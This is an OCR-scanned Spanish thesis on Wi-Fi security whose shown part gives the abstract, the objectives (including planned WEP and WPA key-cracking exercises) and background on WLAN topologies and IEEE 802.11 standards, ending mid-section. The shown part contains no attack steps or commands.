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RESUMEN

En la actualidad, el uso de las redes inalambricas de area local (WLAN)
ha dejado de ser una solucion compleja exclusiva de escenarios corporativos de
alto nivel, convirtiéendose en una de las formas de comunicacion mas utilizadas
en la actualidad en comunicaciones domésticas y publicas (como en
restaurantes, centros comerciales, etc.) en gran medida por el brote de equipos
con adaptadores inalambricos portatiles, ademas del bajo costo y poca

complejidad de implementacion.

La perspectiva de la tecnologia Wireless (sin cables) bajo el estandar
WIFI es prometedora. Sin embargo, la facilidad de implementacion tiene como
consecuencia que un gran numero de redes inaldmbricas sean instaladas por
personal careciente de conocimientos técnicos a nivel de seguridad, ademas
que una exagerada cantidad de fabricantes enfoca sus productos para ser
instalados con la menor complicacion técnica posible, por lo que los equipos
operan con las configuraciones de seguridad de fabrica o peor aun, sin ninguna
medida de seguridad. Esta situacion es grave, porque la red estara expuesta y
sus administradores y usuarios podrian utilizar la red sin saber siquiera que

pueden ser victimas de un atacante malintencionado.
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Por ello, este trabajo busca demostrar las vulnerabilidades que existen al
implementar una red inaldmbrica sin seguridad apropiada, asi mismo a través
de dos ejercicios practicos, se pretende sensibilizar a los administradores de
red a que tomen conciencia sobre sus redes y métodos de seguridad aplicados,
ya que generalmente cuando se detecta un intruso en la red, es demasiado
tarde.

Para la demostracion de las vulnerabilidades de la seguridad de los
cifrados WEP y WPA, se han dividido claramente las fases del proceso de
ambos y en el marco teodrico se explica cada parte que intervenga en la
comunicacién y en los capitulos posteriores de demuestra especificamente
cuales son las partes de la comunicacion que son vulnerables y que los pueden
convertir en sistemas inseguros si no se tiene una adecuada administracion de

las politicas de seguridad.

Los ultimos dos capitulos estan dedicados a demostrar los resultados de
dos ejercicios practicos que no tienen ningan requerimiento especial para su
ejecucion. A través de un informe detallado se podra observar que se hicieron
uso de una computadora con adaptador inalambrico, como la de cualquier
usuario promedio, y una suite de programas de cdodigo abierto que no implica
ningln costo por concepto de licencia, y que puede ser descargado desde

portales web disponibles en internet.
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OBJETIVOS

GENERAL:

Demostrar la vulnerabilidad existente en los protocolos utilizados para

cifrar redes inaldmbricas de area local.

ESPECIFICOS:

1. Describir los fundamentos de los cifrados utilizados en la actualidad
para la seguridad en redes inalambricas de area local.

2. Describir las deficiencias en la seguridad de redes inalambricas de

area local.

3. Demostrar tedricamente las vulnerabilidades del cifrado WEP.

4. Realizar un experimento practico que demuestre la vulnerabilidad

del protocolo WEP.

5. Describir de forma general las vulnerabilidades de los cifrados WPA
y WPA2.
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Realizar una practica experimental para romper una clave WEP en

distintos escenarios.

Realizar una practica experimental para romper una clave pre

compartida WPA.
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INTRODUCCION

Las telecomunicaciones inalambricas, especificamente la tecnologia WI-
Fi (Wireless Fidelity), han tomado bastante popularidad entre el medio de las
Tecnologias de la Informacion y las Comunicaciones, debido a su facil
implementacion, comodidad de transmision y facilidad de operacién.  Sin
embargo, uno de los aspectos mas graves de esta tecnologia es la seguridad.

Existen distintos métodos para garantizar la seguridad de las redes
inalambricas de area local (WLAN). Las alternativas con uso mas generalizado
son la implementacion de protocolos para la seguridad de los datos, protocolos
disefiados especificamente para los protocolos Wi-Fi como el WEP y el WPA.
Dichos protocolos brindan seguridad en las distintas fases de autenticacion,
integridad y confidencialidad, implementados directamente por los mismos
dispositivos inalambricos y el conjunto de protocolos para redes de
telecomunicaciones bajo el estandar IEEE 802.1X, que son brindados por otros
dispositivos de la red de datos que han brindado redes a las WLAN por muchos

anos.

En la actualidad se ha lanzado al mercado un nuevo protocolo de
seguridad llamado WPA2, que implementa distintas mejoras a su sucesor WPA
gue es una aproximacion temprana al protocolo 802.11i que sera el método

mas seguro para redes WLAN en un futuro mas cercano.

Este documento estd enfocado a demostrar de una manera teérica y

practica las vulnerabilidades mas importantes de los cifrados WEP y WPA,
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esperando sensibilizar a los administradores de redes inaldmbricas de area

local a que protejan sus redes con mayor eficacia.
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1. MARCO TEORICO

1.1 Redes Inalambricas

Como puede evidenciarse en la actualidad, el uso de las Redes de Area
Local (LAN) es considerablemente amplio. Dicho uso ya no es Unicamente
parte elemental de las operaciones de las corporaciones transnacionales, sino
se ha extendido al uso doméstico como en los hogares, centros de estudios,

centros comerciales, etc.

Sin embargo, al tratar de implementar una red LAN, podemos encontrar

estos inconvenientes:
e Coste de desplegar la red (cableado, equipos)
e Impacto de la instalacién de la misma
e Falta de flexibilidad.
Por consecuencia, se han diseiiado las WLAN, o Redes Inalambricas de

Area Local. Dichas redes ofrecen las comodidades y funcionalidades de las

redes LAN tradicionales, sin tener las inconveniencias mencionadas.



Una red inalambrica es aquella que utiliza ondas electromagnéticas a
través de un medio (en este caso el aire) para conectar distintos dispositivos en
una red, sin utilizar ningun tipo de cable (que puede ser desde fibra 6ptica hasta
un par trenzado) para este proposito. Por tanto, estas redes permiten
incrementar la movilidad y la autonomia de los equipos con respecto a las redes

LAN con cables.

1.1.1 Componentes de unared inalambrica

Para su correcta y efectiva operacion de una WLAN, son necesarios
distintos elementos, algunos dispositivos electronicos como los Puntos de
Acceso o las tarjetas de red de los equipos, y otros no electrénicos como el

medio de transmisién (aire).

1.1.1.1 Punto de acceso

Abreviado como AP por sus siglas en inglés y PA en espafiol. Es un nodo
gue tiene las funcionalidades de transmitir y recibir las sefiales que transitan por
la red. Ademas puede ser utilizado como un puente, ya que permite unir varias
redes. Debido a que solo tiene un rango de distancia de cobertura, si se desea
extender su cobertura, es necesario colocar varios de ellos para cubrir toda el
area deseada. Los puntos de acceso se pueden conectar a redes cableadas,
pero también pueden funcionar independientemente, solo para ampliar el rango

de transmisiéon de una red inaldmbrica.



El principio de operacion de un punto de acceso es sencilla: “Guardar y
Repetir’, ya que un AP ejecuta una rutina para validar y luego retransmiten los
mensajes recibidos.> Un punto de acceso puede colocarse en un punto donde
pueda abarcar toda el area donde se ubican las estaciones. Las caracteristicas

a considerar son:

1. La antena del dispositivo repetidor debe de tener una finalidad de
expandir la sefal abiertamente, por ejemplo una antena omni-direccional
y debe de estar a la altura del techo o en el punto mas alto, esto
producir4 una mejor cobertura que si la antena estuviera a la altura de

los equipos a interconectar.

2. La antena del dispositivo receptor debe de ser mas compleja que la del
dispositivo repetidor, por ejemplo una antena direccional, este tipo de
antenas permiten ser diseccionadas como su nombre lo indica, hacia el
punto de acceso, de tal forma que aunque la sefial de la transmision sea

baja, ésta podréa ser recibida correctamente.

Un punto de acceso compartido tiene la funcion de un repetidor, pero con la
diferencia que pueden ser seleccionados distintos puntos de acceso para

retransmitir.

! Principios en Capa de Red. http://mitecnologico.com/Main/PrincipiosBasicosEnCapaDeRed

2 Redes WLAN. http://dis.um.es/~barzana/Divulgacion/Informatica/redesinalam.html
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1.1.1.2 Estaciones

Las estaciones son los dispositivos que utilizan las personas que se

conectan a las WLAN a través de los PA.

Estos dispositivos deben de tener tarjetas de red inaldmbricas que
pueden ser de varios tipos: PCMCIA, PCl o USB. Las tarjetas tienen que
cumplir con los estandares de Wi-Fi, y dependiendo de bajo que estandar estén

desarrolladas, asi sera su funcionamiento al conectarse a la red.

En 802.11 se definen cuatro servicios que debe tener una estacion para

gue pueda conectarse exitosamente a la red:

1. Autenticacién: Sirve para controlar el acceso a la red, y asi mejorar la

seguridad.

2. Des-Autenticacion: Sirve para eliminar a un usuario de la red y asi evitar

gue pueda utilizar los recursos de la red.

3. Privacidad: Sirve para proteger los datos transmitidos a través de la red.

4. Envio de Datos: Sirve para asegurar la transmision y recepcién de

informacioén de una manera confiable.



1.1.2 Tipos de redes inalambricas de datos

Las comunicaciones inalambricas pueden clasificarse de diversas formas
en funcién de distintos pardmetros. Por ejemplo, se podrian clasificar de
acuerdo a su alcance. El alcance es la distancia maxima en la que pueden

ubicarse ambas partes de la comunicacién inaldmbrica.

Las comunicaciones inalambricas se pueden dividir en los siguientes

grupos de acuerdo a su alcance:®

1.1.2.1 Redes inalambricas de area personal o WPAN (Wireless

Personal Area Network)

Estas redes utilizan tecnologia Bluetooth. Cubren pocos metros y estan
pensadas para interconectar los distintos dispositivos electrénicos domésticos
de un usuario (por ejemplo la computadora, el teléfono celular, la impresora,

etc.).

3 Tecnologias Inaldmbricas. http://www.e-dreams.net/Articulos/terminales-moviles-02-2.htm
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1.1.2.2 Redes inalambricas de area local o WLAN (Wireless

Local Area Network)

Las WLAN utilizan tecnologia Wi-FI. Este tipo de redes es la mas
extendida debido a la facilidad de su implementacion. Su uso es tan extendido

gue practicamente es el tipo de red con mas aplicacion en la actualidad.

1.1.2.3 Redes inaldmbricas de area metropolitana o0 WMAN

(Wireless Metropolitan Area Network)

Pretenden cubrir el area de una ciudad. Los protocolos LMDS (Local
Multiport Distribution Service, "Servicio Local de Distribucién Multipunto™) o
WIMAX (Worlwide Interoperability for Microwave Acces, "Interoperatividad

mundial para accesos de microondas").

1.1.2.4 Redes Globales

Estas redes estan disefiadas para cubrir toda una region (paises o
continentes). Estan basadas en las tecnologias celulares y se han presentado
como evolucion de las telecomunicaciones con fines de transmitir datos de voz,
mismas que tienen un uso mas extendido. Las redes de telefonia movil son un
claro ejemplo, a partir que permiten al usuario realizar roamming entre paises o

continentes.



1.1.3 Topologias de redes Inalambricas

Al implementar una WLAN o redes LAN inalambricas, existen dos
topologias. Cada topologia indica la configuracion de los equipos inalambricos
para realizar la conexion y los elementos que estan involucrados en su

arquitectura.

Existen distintos términos para denominar a estas topologias, como
administradas y no administradas, alojadas y par a par, e infraestructura y "ad
hoc". Dichos términos estan relacionados, fundamentalmente, con las mismas

distinciones basicas de topologia.*

1.1.3.1 Topologia Ad-hoc

En esta topologia, se crea una red LAN entre los propios dispositivos
inalambricos y no existe ningun controlador central de comunicaciones ni
puntos de acceso. Cada uno de los dispositivos se comunica de forma directa
con el resto de dispositivos de la red. La topologia Ad-hoc resulta practica en
ubicaciones donde pueden reunirse pequefios grupos de estaciones 0 equipos
y que no requieren interconexion a otra red. Un ejemplo claro de esta topologia
podria ser en los domicilios que no tienen una red cableada y se requiere

interconexidn entre los distintos equipos electronicos de entretenimiento o una

4 Topologias de Red. http://www.novitt.ws/modules.php?name=Content&pa=showpage&pid=12
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sala de conferencias donde los equipos suelen interconectarse de manera

regular para intercambiar informacion.

Figura 1. Red ad hoc

Fuente: Trujillo, Valera JM. http://es.geocities.com/jorgepc330/hwet/t3.htm

Esta topologia de red es denominada como Conjunto Independiente de
Servicios Bésicos (IBSS, Independent Basic Service Set). Es la topologia mas
basica para WLAN’s. Es por ésta razon que se llaman ad-hoc, debido a la
facilidad de adaptarse a los requerimientos de implementacion de una red
inalambrica, como es logico, también tiene ciertas limitaciones, como por

ejemplo que existe un rango de comunicacién limitado.

En esta topologia no esta presente ningun tipo de funcién de
retransmision, por lo que las estaciones que forman la red deben encontrarse
dentro del rango de transmision. Es decir que todos los nodos de la red
funcionan como routers, realizando las tareas de encontrar rutas para el
encaminamiento de los paquetes, para garantizar que cualquier paquete llegue

a su destino, aunque éste no sea directamente accesible desde el origen. Es
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utilizada cuando no es necesario contar con una infraestructura para brindar

servicios, ni debe de conectarse una LAN cableada a la WLAN.

1.1.3.1.1 Descripcion general del funcionamiento de la
modalidad ad-hoc

Su caracteristica es que no existen puntos de acceso. En esta red sélo
hay dispositivos inalambricos presentes. Muchas de las operaciones que
controlaba el punto de acceso, como la sefializacién y la sincronizacion, son

controladas por una estacion. °

La red ad hoc no brinda todavia algunos avances como retransmitir
tramas entre dos estaciones que no se oyen mutuamente y generalmente se

utiliza como conexiones inmediatas, debido a su simpleza.

1.1.3.2 Topologia de Infraestructura

La topologia de infraestructura brinda extensién a una red LAN con cable
existente, incorporando dispositivos inalambricos mediante una estacion central,
denominada PA o punto de acceso. El PA une la red LAN inalambrica y la red

LAN con cable y sirve de controlador central de la red LAN inalambrica.®

® Redes WLAN.
http://148.244.220.100/latam/windowsxp/pro/biblioteca/planning/wirelesslan/intro.asp

e Topologias WLAN. http://www.novitt.ws/modules.php?name=Content&pa=showpage&pid=12
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El punto de acceso es protagénico en una WLAN, ya que coordina la
transmision y recepcion desde y hacia multiples dispositivos inalambricos dentro
de una extension especifica. En la modalidad de infraestructura, puede haber
varios puntos de acceso interconectados entre si para dar cobertura a una zona
grande o un Unico punto de acceso para una zona pequefa, por ejemplo un

domicilio.

Esta topologia se compone de uno o varios PA’s, ademas de tener un
grupo de nodos o estaciones inaldmbricas. Las comunicacién entre estaciones
se realizan a través de los PA (y no directamente entre si como en la topologia
ad-hoc), logrando con esto una ampliacion en el area de comunicacién, ya que

se pueden implementar funciones de repeticion.

Ademaés, al utilizar una topologia de infraestructura, es posible
implementar servicios que no pueden ser implementados con la topologia ad-
hoc, esto hace que sea mas utilizada por empresas que requieren estos
servicios. Cuando estd presente una sola red se le llama Grupo de Servicios
Basico (BSS, Basic Service Set) y pueden formarse grupos de varios BSS,
llamados Grupo de Servicios Extendidos (ESS, Extended Service Set) que

sirven para implementar servicios como el roamming.

Dentro de la topologia de infraestructura, los AP pueden utilizarse de tres

maneras diferentes:

1. Como puerta de enlace o gateway, para comunicar redes internas con

externas.

2. Como puente o bridge, para unir varios puntos de acceso y asi extender

los servicios y rangos de transmision.
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3. Como enrutador o router, para unir diferentes WLAN, dentro del area de
cobertura del punto de acceso. Cada punto de acceso tiene un limite de
64 estaciones que pueden estar conectadas hacia él, aunque éste limite

puede ampliarse colocando multiples puntos de acceso, como en el ESS.

Figura 2. Red de la modalidad de infraestructura

. o~

-

~— -

Fuente: Trujillo, Valera JM. http://es.geocities.com/jorgepc330/hwet/t3.htm

1.1.3.2.1 Descripcion general del funcionamiento de la
modalidad de infraestructura

Un equipo inalambrico denominado "estacion” en el ambito de las redes
LAN inalambricas, inicialmente debe identificar los puntos de acceso y las redes
inaldmbricas disponibles. Este proceso de reconocimiento se realiza mediante

el control y rastreo de tramas de sefializaciéon procedentes de los puntos de
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acceso gque se anuncian a si mismos o mediante el sondeo activo de una red

especifica. ’

La estacion elige una red entre las que estan disponibles e inicia un
proceso de autenticacion con el punto de acceso. Una vez que el punto de
acceso y la estacion se han verificado mutuamente, comienza el proceso de

asociacion.®

La asociacion permite que el punto de acceso Yy la estacion intercambien
informacion y datos de capacidad, asi como otros mensajes. El punto de acceso
al recibir esta informacion de la estacion puede replicarla hacia otros puntos
acceso de la red para propagar la informacién de la ubicacién actual de la
estacion en la red. La estacion sélo puede transmitir o recibir paquetes en la

red, luego de que haya finalizado la asociacién de manera exitosa.

En este tipo de topologia, todo el trafico de red que proviene de las
estaciones inalambricas es transmitido a un punto de acceso, y este es el
encargado de hacerlo llegar a su destino en la red LAN con cable o

inalambrica.®

El acceso a la red es administrado por un protocolo que detecta las
conexiones y evita las colisiones. Las estaciones permanecen la escucha de
las transmisiones de datos del punto de acceso durante un intervalo de tiempo

determinado, antes de intentar transmitir (ésta es la parte del protocolo que

" Topologia de Infraestructura. http://www.electrica.frba.utn.edu.ar/redesinal.htm

8 Redes Inalambricas. http://www.novitt.ws/modules.php?name=Content&pa=showpage&pid=12

° Redes Inalambricas. http://www.novitt.ws/modules.php?name=Content&pa=showpage&pid=12
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detecta las conexiones). Previo a la transmision, la estacion tiene que esperar

durante un periodo de tiempo especifico después de que la red esta despejada.

Este retardo, ademas de la transmision por parte de la estacion receptora
de una confirmacién de recepcidn correcta, representa la parte del protocolo
que evita las colisiones. Notese que, en la modalidad de infraestructura, el

emisor o el receptor es siempre el punto de acceso.®

Debido a la posibilidad que algunas estaciones no se escuchen unas a
otras, aunque ambas estén dentro del alcance del punto de acceso, se toman
medidas especiales para evitar las colisiones en la comunicacién.'* Por
ejemplo, se incluye una clase de intercambio de reserva que tiene lugar antes
de la transmision de un paquete mediante un intercambio de paquetes "peticion
para emitir" y "listo para emitir", y un vector de asignacion a transmision de red
gue se mantiene en cada estacién de la red. Incluso aunque una estacion no
pueda oir la transmisién de la otra estacién, oird la transmision de "listo para

emitir" desde el punto de acceso y puede evitar transmitir durante ese intervalo.

El proceso de movilidad sin pérdida de la comunicacion entre puntos de
acceso no estd completamente definido en el estandar. Sin embargo, la
sefalizacion y el sondeo que se utilizan para buscar puntos de acceso y un
proceso de re-asociacion que permite a la estacion asociarse a un punto de
acceso diferente, junto con protocolos especificos de otros fabricantes entre

puntos de acceso, proporcionan una transicion fluida.

19\WLAN. http://148.244.220.100/latam/windowsxp/pro/biblioteca/planning/wirelesslan/intro.asp

" Redes Wifi. http://quia.mercadolibre.com.ve/introduccion-redes-wifi-dummies-18249-VGP
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La sincronizacion entre las estaciones de la red se controla mediante las
tramas de sefalizacion periodicas enviadas por el punto de acceso. Estas
tramas contienen el valor de reloj del punto de acceso en el momento de la
transmision, por lo que sirve para comprobar la evolucion en la estacion
receptora. La sincronizacion es necesaria por varias razones relacionadas con

los protocolos y esquemas de modulacion de las conexiones inalambricas.*?

1.1.3.3 Roamming

Es el proceso de desplazarse de un BSS hacia otro sin perder la
comunicacién. Esto significa que un dispositivo sale de la cobertura de un punto
de acceso y entra en la cobertura de otro. También puede darse el cambio de
vinculacién de una estacion a un AP debido a una saturacion en el canal,

realizando funciones de balanceo de carga.

La capa MAC es la encargada de vincular una estacién mavil con un AP.
La vinculacién se realiza en funcién de la potencia de la sefial que recibe la
estacion desde el AP. Cuando una estacion pierde la sefial a medida que se
aleja del punto de acceso, éste realiza un proceso llamado sleeping (barrido),
gue consiste en buscar alternativas de canales a los cuales puede conectarse la

estacion.

Después realiza el proceso de scanning (escaneo), que consiste en

evaluar la calidad de la sefial de cada AP encontrado en el proceso anterior,

12 Redes WLAN. http://www.novitt.ws/modules.php?name=Content&pa=showpage&pid=12
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para asi poder realizar la asociacion de la estacion con el nuevo AP. Para que

pueda darse el roamming es necesario que la red tenga una topologia de ESS.

1.1.4 Soluciones de Redes LAN Inaldmbricas

Actualmente, existen distintas soluciones para redes LAN inaldmbricas,

ambas con distintos niveles de estandarizacion e interoperabilidad.

Dos soluciones que hoy por hoy lideran el sector son HomeRF y Wi-Fi
(IEEE 802.11b/g). De estas dos, las tecnologias 802.11 disponen de una mayor
aceptacion en el mercado y estan destinadas a solucionar las necesidades de
las redes LAN inalambricas para zonas activas empresariales, domésticas y

publicas.

La alianza Wireless Ethernet Compatibility Alliance trabaja para
proporcionar certificados de compatibilidad con los estandares 802.11, lo que

ayuda a garantizar la interoperabilidad entre los distintos fabricantes.™®

13 Soluciones WiFi. http://www.novitt.ws/modules.php?name=Content&pa=showpage&pid=12
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1.1.4.1 Descripcién general de las Redes LAN Inalambricas en
la actualidad

Las Redes LAN Inaldmbricas de alta velocidad ofrecen las ventajas de la
conectividad de red sin las limitaciones que supone estar atado a una ubicacién

o por cables.**

Las conexiones inalambricas pueden ampliar o incluso sustituir una red
tradicional con cables cuando la utilizacion de cables es costosa o esta
prohibida. Ya sea por estética o por las condiciones propias de las
instalaciones. Las instalaciones con ubicacion temporal son un ejemplo de una
situacion en la que se justifica una WLAN o incluso se considera como
necesaria. Por ejemplo, en una construccion puede estar prohibido el uso de
cables debido a normativas de construccion, lo que convierte a las redes
inalambricas en una valiosa solucién. Y, como ha de suponerse, el fenémeno
asociado al término "inaldmbrico", es decir, no tener que instalar cables ademas
de los del servicio de telefonia y la corriente eléctrica, ha pasado a ser el
principal motivo para que las WLAN se implementen en las redes domeésticas.

Los usuarios con equipos moviles, cuya cifra aumenta dia con dia, son
candidatos inmediatos a las redes WLAN. El acceso portétil a las WLAN se
realiza a través de equipos portatiles con adaptadores de red inalambricos. Esto
permite al usuario una movilidad completa, como viajar a distintas ubicaciones
(dentro o fuera de su corporacion) sin perder el acceso a los datos de la red. Sin
el acceso inalambrico, el usuario deberia depender de la extension de cables

para disponer de conexion a la red.

“ Redes WLAN y sus desventajas. http://centrotesdai.galeon.com/index1.htm
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Lejos del campo empresarial, el acceso a Internet podria estar disponible
a través de zonas publicas de redes inalambricas. Aeropuertos, centros
comerciales, estaciones de transporte, parques y sitios turisticos se pueden

equipar con redes inalambricas publicas.

En todos los escenarios mencionados, se puede destacar que las redes
LAN inaldmbricas actuales, basadas en estandares, funcionan a alta velocidad,
velocidad que hace solamente unos afios se consideraba de punta para las
redes cableadas. La comunicacion supera los 11 MB por segundo, que
representa de 30 a 100 veces una transferencia mas rapida que las
comunicaciones por acceso telefonico. Un ancho de banda elevado es
necesario para obtener una experiencia aceptable con distintos servicios de

Internet.

1.1.4.2 Comparaciéon de las tecnologias de las Redes

LAN Inalambricas

En la actualidad, se destaca la implementacién de dos soluciones LAN
inalambricas. Dichas soluciones son los estdndares I|EEE 802.11,
principalmente 802.11b, y la solucion Home-RF, propuesta por el grupo del
mismo nombre. Ambas soluciones pueden ser operables entre si ni con otras
soluciones de redes LAN inalambricas.’® Conforme Home-RF fue disefiado de
manera exclusiva para usos domésticos, 802.11b ha sido implementando en
lugares domésticos, pequefias y medianas empresas, grandes organizaciones y

en un namero creciente de zonas publicas con redes inaldmbricas. Cabe

* Home-RF Vs WiFi. http://www.novitt.ws/modules.php?name=Content&pa=showpage&pid=12
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mencionar que algunos principales distribuidores de equipos portatiles los
equipa de fébrica con tarjetas NIC 802.11b internas o fabrica los equipos con

opcion a integrarles dichas tarjetas.

Tabla I. Comparacién entre soluciones inalambricas

IEEE 802.11b

HomeRF

Principales fabricantes que

lo han admitido

Cisco, Lucent, 3Com
WECA

Apple, Compaq, HomeRF
Working Group

Estado Se incluye Se incluye (baja velocidad)
Extension 50-300 pies (15,24-91,44 150 pies (45,72 cm)
cm)
Velocidad 11 Mbps 1, 2, 10 Mbps
Aplicacion Hogares, oficinas Hogar
pequefias, campus
universitarios, empresas
Costo 75-150 dolares por tarjeta | 85-129 délares
Seguridad WEP/802.1x NWID/cifrado
Distribuidores Mas de 75 Menos de 30
Puntos de acceso publicos | Mas de 350 Ninguno
Cuota de mercado de las 2% 21%

tarjetas NIC inalambricas
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1.2 Estandar IEEE 802.11

En el afio de 1990 se cred el grupo de trabajo 802.11, perteneciente al
Instituto de Ingenieros Eléctricos y Electronicos (IEEE, Institute of Electrical and
Electronical Engineers). El grupo creado tenia como propdsito desarrollar un
estandar, que definiera la forma de realizar las comunicaciones para redes

inaldmbricas, asi como lo hace el 802.3 para redes cableadas (Ethernet).

El protocolo IEEE 802.11, mas conocido como WI-FI es un estandar de
protocolo de comunicaciones del IEEE que define una norma para el uso de los
dos niveles inferiores de la arquitectura OSI (capas fisica y de enlace de datos),
especificando normas de funcionamiento en una WLAN.® En general, los
protocolos de la rama 802.x definen las normas en que se comunican redes de

area local.

En la actualidad, la familia de protocolos 802.11 abarca seis técnicas de
transmision por modulacion que hacen uso de los mismos protocolos. El
estandar original de este protocolo fue creado en 1997, fue el IEEE 802.11, que
alcanzaba una velocidad de 1 hasta 2 Mbps y trabajé en la banda de frecuencia
de 2,4 GHz. Actualmente ya no se fabrican productos sobre este estandar. El
término IEEE 802.11 se utiliza también para referirse a este protocolo al que

ahora se conoce como "802.11legacy."

En 1999, la siguiente modificacion se presento y fue designada como
IEEE 802.11b, esta especificacion revolucionaria tenia velocidades desde 5

hasta 11 Mbps, al igual que su predecesor, utilizaba la frecuencia de 2,4 GHz.

16 Estandar IEEE802.11. http://es.wikipedia.org/wiki/IEEE 802.11
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Asi mismo se trabajé en un prototipo que operaba sobre una frecuencia de 5
Ghz que alcanzaba los 54 Mbps, era la 802.11a y resultaba incompatible con
los productos de la b, casi no se fabricaron productos, principalmente por
motivos técnicos. Luego se presentd un estandar a esta ultima velocidad (54
Mbps) y que ademas fue compatible con el estandar b, dicho estandar recibié el
nombre de 802.11g, que al igual que el estdndar b, tuvo una gran aceptacion.

El siguiente paso se dara con la norma 802.11n que sube el limite tedrico
hasta una increible cifra de los 600 Mbps. Actualmente ya existen varios
productos que cumplen un primer prototipo de esta especificacion, alcanzando
un maximo de 300 Mbps (80-100 estables). La seguridad forma parte del

protocolo desde el principio y fue mejorada en la revision 802.11..

802.11b fue el primer estandar que tuvo una amplia aceptacién por parte
de los fabricantes. En la actualidad la mayoria de los productos que se
comercializan siguen el estandar 802.11g con compatibilidad hacia atras con el
802.11b. Los estandares 802.11b y 802.11g utilizan bandas de 2,4 gigahercios
(Ghz) que no necesitan de permisos especiales para su uso.'’ Conforme el
estandar 802.11a utiliza la banda de 5 GHz, el estdndar 802.11n utilizard ambas

bandas.*®

A pesar que los estandares b y g que actualmente son los mas utilizados,
en algunos casos, las redes que trabajan bajo estos estandares pueden sufrir
interferencias por parte de hornos microondas, teléfonos inalambricos y otros

equipos que utilicen la misma banda de 2,4 Ghz.

" Protocolo IEEE 802.11. http://www.xuletas.es/ficha/protocolo-ieee-80211-wi-fi

'8 |EEE 802.11. http://www.lasrespuestas.com/acerca-de/IEEE-802.11
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1.2.1 Conceptos generales del estandar IEEE 802.11

Estaciones o nodos: Computadores o dispositivos electrénicos con

interfaz de red inalambrica.

Medio de propagacion: Pueden definirse dos, la radiofrecuencia y los
infrarrojos. Generalmente se le llama medio al aire, que es donde se

propagan las sefiales inalambricas.*®

Punto de acceso (AP): Un AP funciona como puente (al conecta dos o
mas redes con niveles de enlaces parecidos o distintos), y realiza por

tanto las conversiones de trama necesarias.

Sistema de Distribucién: Importantes ya que proporcionan movilidad
entre distintos AP o terminales, su ayuda es basicamente identificar

donde se encuentra el destino de una comunicacion.?

Conjunto de Servicio Basico (BSS): El BSS (Basic Service Set) se
refiere a un grupo de estaciones que se intercomunican entre ellas y que

estan interconectadas obedeciendo una topologia.?* Se define dos tipos:

o Independientes: Cuando las estaciones, se intercomunican

directamente.

o Infraestructura: Cuando se comunican todas a través de un

punto de acceso.

19
20

2l |EEE 802.11. http://www.lasrespuestas.com/acerca-de/IEEE-802.11
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e I|dentificador del Conjunto de Servicio Basico (BSSID): ElI BSSID
(Basic Service Set Identifier) es el identificador que se utiliza para
referirse a un BSS. Su estructura es idéntica a una direccibon MAC vy

generalmente los fabricantes utilizan la misma direccion MAC del AP.

e Conjunto de Servicio Extendido (ESS): El ESS (Extended Service Set)
es la unién de varios BSS que forman una red, generalmente, una red
WLAN completa.

e Identificador de Servicio Basico (SSID): ElI SSID (Service Set
Identifier) es un cdédigo de 32 caracteres alfanuméricos que llevan los
paquetes de una WLAN para identificarlos como parte de esa red. Por lo
tanto todos los dispositivos inalambricos que intentan comunicarse entre

si deben compartir el mismo ESSID.??

e Identificador de Servicio Extendido (ESSID): El ESSID (Extended
Service Set ID) es el identificador del ESS, es transparente al usuario y
lleva la informacion del SSID. Es comun que al ESSID se le denomine

como nombre de la red.

e Area de Servicio Basico (BSA): Es la zona donde se comunican las

estaciones de una misma BSS, se definen dependiendo del medio.

e Movilidad: Indica la capacidad de cambiar la ubicacion de las

terminales, variando la BSS y continuar la correcta comunicacion. La

2 Redes WiFi. http://hackpr.net/definicioneswifi.php
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transicidn sera correcta si se realiza dentro del mismo ESS en otro caso

no se podré posible conectarse.?®

1.2.2 Estandares IEEE 802.11 definidos actualmente

1.2.2.1 Estandar 802.11 Legacy

La version original del estdndar IEEE 802.11 publicada en 1997
especifica dos velocidades de transmision teoricas de 1 y 2 mega bit por
segundo (Mbps) que se transmiten por sefales infrarrojas (IR) en la banda ISM
a 2,4 GHz. IR sigue siendo parte del estandar, pero no hay implementaciones
disponibles.

El estandar original también define el protocolo CSMA/CA (Mdltiple
acceso por deteccién de portadora evitando colisiones) como método de
acceso. Una parte importante de la velocidad de transmision teorica se utiliza
en las necesidades de esta codificacibn para mejorar la calidad de la
transmision bajo condiciones ambientales diversas, lo cual se tradujo en

dificultades de interoperabilidad entre equipos de diferentes marcas.

Estas y otras debilidades fueron corregidas en el estandar 802.11b, que
fue el primero de esta familia en alcanzar amplia aceptacién entre los

consumidores.?

% |EEE 802.11. http://www.lasrespuestas.com/acerca-de/IEEE-802.11
24 Estandares Inalambricos.
http://www.metrologicmexico.com/contenidol/informacion _tecnica/estandares_inalambricos.php
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1.2.2.2 Estandar 802.11a

Trabaja sobre la banda de los 5 GHz y puede llegar a alcanzar tasas de
transmision de 54 Mbps. En la méas baja velocidad llega a alcanzar un rango de
50 metros, que puede decaer a la mitad si se aumenta la velocidad al maximo.

Utiliza Multiplexaciéon Ortogonal por Division de Frecuencia (OFDM,

Orthogonal Frecuency Division Multiplexing). Utiliza la capa fisica DSSS.

Sus principales ventajas son la velocidad que provee y la poca
interferencia que existe, ya que no trabaja en la banda de 2.4 GHz como los
otros estandares. Entre sus desventajas se encuentran la incompatibilidad con
los estandares 802.11b y g, ademas de que no puede ser utilizado en Europa
por la banda que utiliza, ya que se encuentra asignada para ser utilizada por
HyperLAN. Tampoco incorpora caracteristicas de QoS, que se refieren a

transmision de voz y video.

1.2.2.3 Estandar 802.11b

Es el estandar mas difundido y mas utilizado en la actualidad. Trabaja
sobre la frecuencia de los 2.4 GHz, alcanzando una velocidad méxima de
transmision de 11 Mbps. Para multiplexar la informacion utiliza la técnica de
Cdbdigo de Modulacion Complementario (CCK, Complementary Code Keying) lo
que permite utilizar altas tasas de transmision utilizando eficientemente el radio
del espectro. Utiliza la capa fisica DSSS. Entre sus principales ventajas se

pueden mencionar las siguientes:
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e Ha sido adoptado facilmente por la mayoria de usuarios de redes

inalambricas, principalmente por los bajos precios de los dispositivos.

e Puede utilizarse a nivel mundial, en las regiones en donde se encuentra

asignada la banda de 2.4 GHz para ser usada por el 802.11.

Tiene como desventajas que tampoco tiene incorporada la capacidad de
QoS. La principal desventaja es la interferencia que puede darse debido a que
la frecuencia que utiliza la comparte con dispositivos que utilizan radio
frecuencia para transmitir, y otras tecnologias inaldmbricas, lo que puede

causar una saturacion de la frecuencia causando un gran nivel de interferencia.

1.2.2.4 Estandar 802.11g

Trabaja sobre la banda de los 2.4 GHz, al igual que el 802.11b, pero
ademas ofrece una tasa de transmisiéon de 54 Mbps, como el 802.11a. El
incremento en la velocidad de transmisién se da debido a que se realizo una
